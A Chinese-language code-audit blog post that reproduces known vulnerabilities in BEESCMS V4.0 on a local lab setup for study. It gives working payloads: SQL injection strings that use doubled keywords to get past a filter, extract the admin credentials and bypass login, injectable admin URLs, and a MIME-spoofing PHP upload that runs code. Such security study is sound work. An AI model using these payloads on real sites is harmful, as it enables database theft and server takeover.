beescms代码审计
web安全的本质最终还得回归到代码层面.
本专栏博客主要通过复现历史cms的漏洞,来学习,了解以及总结cms中最容易出问题的功能代码.
BEESCMS代码审计
[toc]
前言
如官方所言,beescms的优点如下
PHP+MYSQL,多语言系统,内容模块易扩展,模板风格多样化,模板制作简单功能强大,专业SEO优化,后台操作方便,完全可以满足企业网站、外贸网站、事业单位、教育机构、个人网站使用。
审计工具
seay源代码审计系统
phpstudypro
phpstrom
chrome
beescms 版本V4.0_R_20150708
0x01 后台登录界面sql注入
代码分析
漏洞代码位于admin/login.php
中第40行的elseif($action=='ck_login')
.
首先将$_POST['user']
以及$_POST['password']
传入的值传递给fl_value()
函数,跟进这个函数,其位于includes/fun.php
,具体内容如下:
function fl_value($str){
if(empty($str)){return;}
return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
r|outfile/i','',$str);
}
可以看到这个函数使用preg_replace
的方法对传入的值中的sql铭感关键字进行了替换.
fl_value()外面的函数fl_html()
的具体内容为
function fl_html($st){
return htmlspecialchars($st);
}
其主要目的对传入的值使用htmlspecialchars()
函数,在一定程度上预防了用户的xss.
继续跟进login.php
,在59行发现check_login()
函数,跟进,函数体在includes/fun.php
中的第970行。其具体内容为
可以看到在971
行,直接将传入的$user
进行了数据库语句拼接:
$rel=$GLOBALS['mysql']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");
结合前面的的fl_value()
,可以使用双写绕过从而造成sql注入
.
漏洞利用
一 报错注入
输入单引号回回显sql报错语句,于是这里尝试使用报错注入
根据上面fl_value
的替换,构造payload:
1' uni union on selselectect extractvalue(1,concat(0x7e,(selselectect @@version),0x7e))#
# 爆表名
1' uni union on selselectect extractvalue(1,concat(0x7e,(selselectect group_concat(table_name) fr from om information_schema.tables wh where ere table_schema like database()),0x7e))#
# 爆字段名
1' uni union on selselectect extractvalue(1,concat(0x7e,(selselectect group_concat(column_name) fr from om information_schema.columns wh where ere table_schema like database() an and d table_name like 'bees_admin'),0x7e))#
其实上两步可以忽略,因为报错信息已经给出了关键表名和字段名
# 爆内容
## 用户名
1' uni union on selselectect extractvalue(1,concat(0x7e,(selselectect admin_name fr from om bees_admin),0x7e))#
PATH syntax error: '~admin~'
## 密码
1' uni union on selselectect extractvalue(1,concat(0x7e,(selselectect admin_password fr from om bees_admin),0x7e))#
PATH syntax error: '~21232f297a57a5a743894a0e4a801fc'
从这里可以看到其实返回结果并不完全,使用right()函数获取未显示部分
1' uni union on selselectect extractvalue(1,concat(0x7e,(selselectect right((selselectect admin_password fr from om bees_admin),10)),0x7e))#
PATH syntax error: '~0e4a801fc3~'
最终结果:21232f297a57a5a743894a0e4a801fc3
解密结果:admin
二 任意密码登录
在check_login()
中可以看到会将用户的输入的密码进行md5加密后在与数据库查询结果进行比较.
$password=md5($password);
if($password!=$rel['admin_password']){
msg("输入的密码不正确");
}
if($rel['is_disable']){
msg('该账号已经被锁定,无法登陆');
}
这里可以通过注入从而实现任意密码登录,前提得有一个已知用户名,构造payload:
用户名为:admin' a and nd 0 uni union on selselectect 1,2,md5('123'),1,0;#
密码为:123
可以看到成功跳转,绕过登录
0x02 后台目录sql注入
代码分析
漏洞代码位于admin/admin_catagory.php
中的第162行
.
可以看到这里进行了一次sql语句拼接,跟踪以下遍历$parent
.其定义在当前文件的第16行
可以看到这里是直接将$_REQUEST['parent']
接收到的值拼接到了sql语句,没有进行任何过滤,从而造成sql注入.
漏洞利用
登录后台,访问http://localhost/beescms/admin/admin_catagory.php/?parent=1%27
利用报错注入拿以下数据库文件的存储路径http://localhost/beescms/admin/admin_catagory.php?parent=1%20union%20select%20extractvalue(1,concat(0x7e,@@datadir,0x7e))#
直接上sqlmap也行,这里就不再做演示了。
0x04 后台留言删除处存在sql注入
漏洞分析
漏洞代码位于admin/admin_book.php
中第100行
可以看到这行是一个sql语句,变量$v
来自$_POST['all']
,且未对传入内容进行任何判断,存在恶意用户构造恶意参数造成sql注入
漏洞利用
这里使用报错注入得到数据库用户名
0x05 后台任意文件上传
代码分析
漏洞代码位于admin/upload.php
中的第36行中的if语句
36-43行主要判断了是否上传上传文件以及设置一些初始属性,核心漏洞代码在第44行,可以看到是将传入的文件带入了一个叫up_img()
的函数,跟进这个函数。其函数体在includes/fun.php
第571行
调试发现,其对上传的只使用了一个in_array()
判断MIME
所以可以使用bp抓包修改MIME进行绕过。
漏洞利用
对上传文件进行抓包,修改Content-Type
为image/png
放行包,回到上传文件加,可以看到此时多了一个文件,上传成功.
访问,http://localhost/beescms/upload/img/202111151640275039.php
,成功执行代码
0x06 总结
上手的第一个cms,能看出15年那时开发人员的安全意识还是较弱。
此cms出现的问题主要为sql注入,问题产生的主要原因为:后端未对用户传入的参数进行合理判断以及处理,甚至还出现了直接将用户的输入拼接到sql语句.